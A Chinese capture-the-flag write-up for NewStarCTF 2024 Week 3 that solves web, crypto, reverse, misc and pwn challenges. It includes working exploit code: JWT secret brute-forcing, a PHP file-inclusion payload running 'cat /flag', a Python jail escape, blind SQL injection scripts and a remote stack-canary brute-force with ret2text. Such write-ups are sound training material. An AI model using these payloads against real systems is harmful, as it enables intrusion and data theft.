CTF | 2024 NewStarCTF Week3 WP 


Web

这“照片”是你吗

提示可能存在路径穿越漏洞。

看到 Server 头为 Werkzeug/3.0.4 Python/3.12.6 可以推测服务使用 Flask 编写,用 Postman 访问(浏览器会自动转义 .. 到上一层目录)/../app.py 获取到了源码。

源码中暴露了一个账户,登录拿到 Token。

在 L12 可以发现 JWT 的 Secret Key 是六位数字,可以写个脚本爆破出来:

import jwt
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYW1peWEiLCJleHAiOjE3MjgyNjgyMjh9.7bZ7AcmjMh9lAfuESuQy3Fm8E0POxpzkqWX4N3C680w"
for i in range(0, 10000000):
    secret_key = f"{i:06}"
    try:
        payload = jwt.decode(token, secret_key, algorithms=["HS256"])
        print(secret_key)
    except:
        pass

输出内容即为密钥,用这个密钥修改 JWT 的 Payload 为 admin 后可获取管理员权限。

然后发现这个文件大概没有什么可以利用的内容了,注意到 flag 包中导入了一个函数,则 ../flag.py 应该存在,我们再来访问看看:

可以看到存在另一个服务输出 Flag,这下思路就明晰了。用主服务的 /execute 加上 admin 的 Token 即可访问该接口。

Include Me

文件包含漏洞。封了一些常见的伪协议,但是 data:// 没有封,我们可以把 Payload 用 Base64 编码后发送过去。

Payload

<?php 
system('cat /flag');  
?>>
---------
// PD9waHAgCnN5c3RlbSgnY2F0IC9mbGFnJyk7ICAgCj8+
// ?me=data://text/plain;base64,PD9waHAgCnN5c3RlbSgnY2F0IC9mbGFnJyk7ICAgCj8+

注意代码中的空格和最后的 >>,不然解析会失败或者 Base64 出 = 被拦截。

臭皮的计算机

算 PyJail 吧,禁用了 [a-zA-Z] 。可以使用 Unicode 来绕过。

Payload

[].𝘤𝘭𝘢𝘴𝘴.𝘮𝘳𝘰[-1].𝘴𝘶𝘣𝘤𝘭𝘢𝘴𝘴𝘦𝘴()[99].𝘥𝘪𝘤𝘵[().𝘥𝘰𝘤[38] + ().𝘥𝘰𝘤[92] + ().𝘥𝘰𝘤[4] + ”.𝘥𝘰𝘤[31] + ”.𝘥𝘰𝘤[189:193]](0, ‘/’ + ”.𝘥𝘰𝘤[37] + ”.𝘥𝘰𝘤[208] + ”.𝘥𝘰𝘤[76] + ”.𝘥𝘰𝘤[51])

blindsql1

用最笨的方法一个一个字符爆破。

Alice'&&!((SELECT(count(table_name))FROM(information_schema.tables)WHERE!(table_schema<>DATABASE()))<>3)#
// 说明数据库内表的数量为 3

Alice'&&!((SELECT(count(table_name))FROM(information_schema.tables)WHERE(!(table_schema<>DATABASE())&&!(mid((table_name)from(1)for(7))<>'secrets')))<>1)#
Alice'&&!(length((SELECT(table_name)FROM(information_schema.tables)WHERE(!(table_schema<>DATABASE())&&!(mid((table_name)from(1)for(7))<>'secrets'))))<>7)#
// 一个表名字为 secrets

Alice'&&((SELECT(count(column_name))FROM(information_schema.columns)WHERE((!(table_name<>'secrets')))&&!(mid((column_name)from(1)for(7))<>'secret_'))>1)#
// 两个字段名称以 secret_ 开头

// 继续爆破得到 secret_key 和 secret_value,Flag 应该藏在 secret_value 中
import requests

payload = "Alice'&&(SELECT(count(secret_value))FROM(secrets)WHERE(!(mid((secret_value)from(1)for(%d))<>'%s')))>0#"

def bruteforce():
    j = 1
    flag = ""
    while True:
        for i in range(33, 127): # 在可见字符中爆破,但是可能会被 WAF。不过本题的 Flag 没有这种顾虑。
            result = requests.get("http://eci-2ze9z0kumdo3plozqby9.cloudeci1.ichunqiu.com", params={"student_name": payload % (j, flag + chr(i))})

            if "Alice" in result.text:
                j += 1
                flag += chr(i)
                print(flag)
                if chr(i) == '}':
                    print(flag)
                    return
                break

bruteforce()

Crypto

故事新编1

Vigenere Solver | guballa.de,Classical Vigenere

故事新编2

Vigenere Solver | guballa.de,Autokey Vigenere

两只黄鹂鸣翠柳

注意到 m1 和 m2 的线性特征,可以推断是 Franklin Reiter’s Relate Message Attack。

网上找脚本糊了一个出来:

#sagemath
from Crypto.Util.number import *

def franklinReiter(n,e,r,c1,c2):
    R.<X> = Zmod(n)[]
    f1 = X^e - c1
    f2 = (X + r)^e - c2
    return Integer(n-(compositeModulusGCD(f1,f2)).coefficients()[0])
    
def compositeModulusGCD(a, b):
    if(b == 0):
        return a.monic()
    else:
        return compositeModulusGCD(b, a % b)

dicionary = {}

def gs(k, lazyv):
    # cache all the results to speed up
    if k in dicionary:
        return dicionary[k]
    else:
        dicionary[k] = lazyv()
        return dicionary[k]

def testFranklinReiter():
    e =  683
    c1 =  56853945083742777151835031127085909289912817644412648006229138906930565421892378967519263900695394136817683446007470305162870097813202468748688129362479266925957012681301414819970269973650684451738803658589294058625694805490606063729675884839653992735321514315629212636876171499519363523608999887425726764249
    c2 =  89525609620932397106566856236086132400485172135214174799072934348236088959961943962724231813882442035846313820099772671290019212756417758068415966039157070499263567121772463544541730483766001321510822285099385342314147217002453558227066228845624286511538065701168003387942898754314450759220468473833228762416
    n  =  147146340154745985154200417058618375509429599847435251644724920667387711123859666574574555771448231548273485628643446732044692508506300681049465249342648733075298434604272203349484744618070620447136333438842371753842299030085718481197229655334445095544366125552367692411589662686093931538970765914004878579967
    delta =  93400488537789082145777768934799642730988732687780405889371778084733689728835104694467426911976028935748405411688535952655119354582508139665395171450775071909328192306339433470956958987928467659858731316115874663323404280639312245482055741486933758398266423824044429533774224701791874211606968507262504865993

    for r in range(0, 256):
        print(r)
        for r2 in range(r, 256):
            recoveredM = gs(r2 - r, lambda: franklinReiter(n,e, ((r2 - r) * delta) % n, min(c1, c2), max(c1, c2)))
            recoveredM2 = gs(r - r2, lambda: franklinReiter(n,e, ((r - r2) * delta) % n, min(c1, c2), max(c1, c2)))

            t = long_to_bytes((recoveredM - (delta * r)) % n) + long_to_bytes((recoveredM - (delta * r2)) % n) + long_to_bytes((recoveredM2 - (delta * r)) % n) + long_to_bytes((recoveredM2 - (delta * r2)) % n)
            if b'flag' in t:
                print(long_to_bytes((recoveredM - (delta * r)) % n) + long_to_bytes((recoveredM - (delta * r2)) % n) + long_to_bytes((recoveredM2 - (delta * r)) % n) + long_to_bytes((recoveredM2 - (delta * r2)) % n))
                return

testFranklinReiter()

不用谢喵

一个 AES trick,注意到用 CBC 加密后再用 EBC 解密。

原理见 https://aes.cryptohack.org/ecbcbcwtf

def strxor(a, b):     
    if len(a) > len(b):
       return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a[:len(b)], b)])
    else:
       return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a, b[:len(a)])])

a = "f2040fe3063a5b6c65f66e1d2bf47b4cddb206e4ddcf7524932d25e92d57d3468398730b59df851cbac6d65073f9e138"
iv = a.decode('hex')[:32]
cipher = a.decode('hex')[32:]
c_hex = cipher.encode('hex')

b = "f9899749fec184d81afecd35da430bc394686e847d72141b3a955a4f6e920e7d91cb599d92ba2a6ba51860bb5b32f23b"[32:]
p_0 = b.decode('hex')[:32]
p_1 = b.decode('hex')[32:]
actual1 = strxor(iv, p_0)
actual2 = strxor(cipher[:32], p_1)

print (actual1+actual2)
print p_1.encode('hex')

没e这能玩?

难点是解一个离散对数方程,可以用 sympy.discrete_log 函数。(不知道 sympy 做了什么优化,其他同样原理的方法时间都爆了,,)

import gmpy2
import sympy
from Crypto.Util.number import long_to_bytes
 
r = 10457194869353593100177834984530743371730082196597132299112004173986134317902326819633405971492147254575586164057393393898548415838816927385666152840961767
q = 10501863154525380899885393651734595340401622693414265402191855789807170977044584937255025740961595981958235238915269093897387769735490697411913603370485999
p = 10183677214652023044474780341271224480860741865271128462400237861954731862671046572481587003643951915319746511716779405224320633957652210335830783097185731

t = 2 ** 512

base = 10340528340717085562564282159472606844701680435801531596688324657589080212070472855731542530063656135954245247693866580524183340161718349111409099098622379
hint = 1117823254118009923270987314972815939020676918543320218102525712576467969401820234222225849595448982263008967497960941694470967789623418862506421153355571 

e = sympy.discrete_log(t, hint, base)

c = 999238457633695875390868312148578206874085180328729864031502769160746939370358067645058746087858200698064715590068454781908941878234704745231616472500544299489072907525181954130042610756999951629214871917553371147513692253221476798612645630242018686268404850587754814930425513225710788525640827779311258012457828152843350882248473911459816471101547263923065978812349463656784597759143314955463199850172786928389414560476327593199154879575312027425152329247656310

n = p*q*r
d = gmpy2.invert(e, (p - 1) * (q  - 1) * (r - 1))
m = pow(c, d, n)
print(long_to_bytes(m))

Misc

ez_jail

大概算 UB 解法,C++ 支持全局变量动态执行函数,使用定义全局变量的方式输出 Hello, World!

剩下要做的就是找一个函数,要求:

  • 不被 SECCOMP 拦截
  • 不接受任何参数

最后我们找到 locale.h 中的 localeconv 函数符合要求。

Payload

int a = printf("Hello, World!\n");
auto* user_code = &localeconv;

// aW50IGEgPSBwcmludGYoIkhlbGxvLCBXb3JsZCFcbiIpOw0KYXV0byogdXNlcl9jb2RlID0gJmxvY2FsZWNvbnY7

BGM 坏了吗?

https://github.com/ribt/dtmf-decoder

裁剪出来选择右声道模式 -r 识别会更准确一点。

OSINT Master

首先看图上信息 B-2419,搜索显示是东航的飞机。

根据照片拍摄时间找到飞行记录,得到航班号和经纬度。

工具:Flightaware(可能需要注册)。

Reverse

simpleAndroid

首先扔进 jadx 里反编译,得到判断函数定义在 CheckActivity 中。

我们把 libsimpleandroid.so 扔进 IDA 中反编译,找到 CheckData 函数。

大概加密过程是这样的,注意在 Native 层修改了 UseLess.CHAR_DATA 的内容。

UseLess.func 是典型的 Base64 加密函数。

Exploit

import base64

encrypted = [
  0xB2, 0x74, 0x45, 0x16, 0x47, 0x34, 0x95, 0x36, 0x17, 0xF4, 
  0x43, 0x95, 0x03, 0xD6, 0x33, 0x95, 0xC6, 0xD6, 0x33, 0x36, 
  0xA7, 0x35, 0xE6, 0x36, 0x96, 0x57, 0x43, 0x16, 0x96, 0x97, 
  0xE6, 0x16
]

table = 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/A'
original_table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
transtab = str.maketrans(table, original_table)

b64 = bytes(map(lambda v: ((v & 0x0F) << 4) | ((v & 0xF0) >> 4), encrypted))[::-1].decode().translate(transtab)
print(base64.b64decode(b64))

SMC_math

encrypt 被解密后的地方下断点,可以直接得到函数(彩 虹)

七个未知数七个方程,z3 直接梭。 解完拼 flag 尸块就好了。

Exploit

from Crypto.Util.number import *
from z3 import *

rax_3, rax_7, rax_11, rax_15, rax_19, rax_23, rax_27 = Ints('rax_3 rax_7 rax_11 rax_15 rax_19 rax_23 rax_27') 
s = Solver()
s.add(((((((rax_3 + rax_7) * 5) + (rax_11 * 4)) + (rax_15 * 6)) + rax_19) + ((rax_23 * 2) + (rax_27 * 9))) == 0xd5cc7d4ff)
s.add((((((rax_3 * 9) + (rax_7 * 0xa)) + ((rax_11 * 6) + (rax_15 * 3))) + ((rax_19 * 3) + (rax_23 * 9))) + (rax_27 * 4)) == 0x102335844b)
s.add(((((rax_3 * 4) + (rax_7 * 5)) + (((rax_11 + rax_15) * 4) + (rax_19 * 9))) + ((rax_23 * 0xa) + (rax_27 * 3))) == 0xd55aeabb9)
s.add((((rax_3 * 5) + (rax_7 * 9)) + (((rax_23 + (((rax_15 * 2) + (rax_19 * 5)) + rax_11)) * 2) + (rax_27 * 9))) == 0xf89f6b7fa)
s.add((((((rax_3 * 7) + (rax_7 * 2)) + rax_11) + ((rax_15 * 9) + (rax_19 * 5))) + ((rax_23 * 9) + (rax_27 * 3))) == 0xd5230b80b)
s.add((((((rax_3 * 6) + (rax_7 * 5)) + ((rax_11 * 0xa) + (rax_15 * 6))) + ((rax_19 * 9) + (rax_23 * 3))) + (rax_27 * 8)) == 0x11e28ed873)
s.add((((((((rax_15 * 2) + (rax_7 + rax_11)) * 4) + (rax_19 * 9)) + rax_3) + rax_23) + (rax_27 * 3)) == 0xb353c03e1)
print(s.check())
m = s.model()
for i in m:
    print(long_to_bytes(m[i].as_long()).decode()[::-1])

011vm

首先装上 D-810 插件,注意 Python 版本要大于 3.7 。

然后照着教程 Unflat 代码。然并卵,出来的结果还是依托史(可能是我方法不对)

然后就开始死亡审计代码,注意到这个部分。

是不是很像 TEA 加密?没错他就是 TEA 加密。

然后开启调试下在此处断点,直接找到 Key 位置和加密后的 Flag 位置。

然后就是公公又式式的 TEA 解密时间了。

flowering_shrubs

借这题搞懂了下花指令。

把 General-Options-Stack pointer 勾选上可以看到代码段的栈指针,花指令会使栈不平衡,我们需要移除所有导致栈不平衡的语句。

Tab 到 Text View,找到所有 sp-analysis failed 的地方。

Ctrl+N(可能要装插件) Nop 掉所有选中的语句。把所有相同的地方都 Nop 掉,重新反编译得到加密段。

其中 rand_0 函数会随机生成一个 [0, 36] 内 4 的倍数,即加密是以四个字符一组进行加密的。且生成的数不会重复。

Exploit

#include <cstdio>

char* keys = "uarefirst.";

void decrypt(unsigned char* data, char key) {
	data[0] ^= data[3];
	
	data[3] ^= data[2];
	
	data[2] += key;
	data[2] ^= data[1];
	
	data[1] -= key;
	data[1] ^= data[0];
	
	data[0] ^= key;
	
	printf("%c%c%c%c", (char)data[0], (char)data[1], (char)data[2], (char)data[3]);
}


int main() {
	for (int i = 0; i <= 9; ++i) {
		for (int j = 0; j <= 9; ++j) {
			unsigned char data[] =
			{
			  0x54, 0xF4, 0x20, 0x47, 0xFC, 0xC4, 0x93, 0xE6, 0x39, 0xE0, 
			  0x6E, 0x00, 0xA5, 0x6E, 0xAA, 0x9F, 0x7A, 0xA1, 0x66, 0x39, 
			  0x76, 0xB7, 0x67, 0x57, 0x3D, 0x95, 0x61, 0x22, 0x55, 0xC9, 
			  0x3B, 0x4E, 0x4F, 0xE8, 0x66, 0x08, 0x3D, 0x50, 0x43, 0x3E
			};
			decrypt(&data[i * 4], keys[j]);
			printf(".");
		}
		printf("\n==========\n");
	}
	
	return 0;
}

执行后根据语义和限制条件拼 Flag 尸块即可。

SecretsOfKawaii

用 JEB 打开安装包,查看 MainActivity 逻辑。发现调用 RC4.encodeText(input, "rc4k4y")

再用 UPX 脱壳 libmeow1.so,查看 check 函数逻辑,发现是一个 XXTEA 加密。直接套解密脚本(注意修改 MX 的数据)可以解出来。s

#include <cstdio>
#include <cstdint>
#define MX (((z ^ key[e ^ p & 3]) + (y ^ sum)) ^ (((4 * z) ^ (y >> 3)) + ((8 * y) ^ (z >> 5))))
#define DELTA 559038737

char* key = "meow~meow~tea~~~";

void btea_decrypt(uint32_t * v, int n, uint32_t const key[4]) {
	uint32_t y,  z, sum;  unsigned p, rounds, e;
	
    rounds = 6 + 52 / n;
    sum = rounds * -DELTA;
    y = v[0];
    do {
        e = (sum >> 2) & 3;
        for (p = n - 1; p > 0; p--) {
            z = v[p - 1];
            y = v[p] -= MX;
        }
        z = v[n - 1];
        y = v[0] -= MX;
        sum += DELTA;
    } while (-- rounds );
}

int main() {
	
	unsigned char secrets[] =
	{
	  0xDF, 0xD3, 0x12, 0x8C, 0x37, 0x41, 0x4C, 0x5F, 0x02, 0x3D, 
	  0x9D, 0x1A, 0xB7, 0x94, 0x12, 0x2D, 0x37, 0x2B, 0x62, 0xFB, 
	  0xE3, 0x84, 0x8D, 0xD1, 0x92, 0x45, 0x4C, 0x06, 0xAB, 0x5C, 
	  0x98, 0x16, 0x69, 0x6D, 0xB0, 0xFD, 0xE3, 0xB1, 0x30, 0xFB, 
	  0xD3, 0x2F, 0x5C, 0x92, 0x0C, 0xB4, 0x1B, 0x2E
	};
	btea_decrypt((uint32_t *)secrets, 12, (uint32_t*)key);
	
	for (int i = 0; i < 48; ++i) {
		printf("%02x ", secrets[i]);
	}
	printf("\n");
	for (int i = 0; i < 48; ++i) {
		printf("%c", secrets[i]);
	}
	
	return 0;
}

Pwn

ez_canary

Canary 爆破和 ret2text 。

按字节一个个去爆破,如果进程被 Canary 杀了(stack smashing...)就代表不是这个字节。

from pwn import *

binary = './ezcanary'
p = remote("8.147.129.74", 34848)

canary = b'\x00'

print("leaking canary...")
context.log_level = "debug"
for j in range(7):
    for i in range(0x100):
        p.recvuntil("我保护开了这么多".encode())
        p.recvuntil("想必我的程序一定很安全吧ε=ε=ε=(~ ̄▽ ̄)~".encode())
        p.recvuntil("你觉得呢?\n".encode())

        p.send(b'a' * 88 + canary + i.to_bytes())
        result1 = p.recvuntil(b"\n")

        if not b"smash" in result1:
            p.sendline()
            canary += i.to_bytes()
            print('canary: ', canary.hex())
            break
        p.recvuntil(b"\n")
        p.sendline()

print('canary: ', canary.hex())

if not b'flag is one_by_one_bruteforce' in p.recv():
    p.sendline(b'cat flag')
if not b'flag is one_by_one_bruteforce' in p.recv():
    p.sendline(b'cat flag')

p.send(b'a' * (0xa8-0x50) + canary + p64(0x40124F) + p64(0x40124F))
p.interactive()


发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注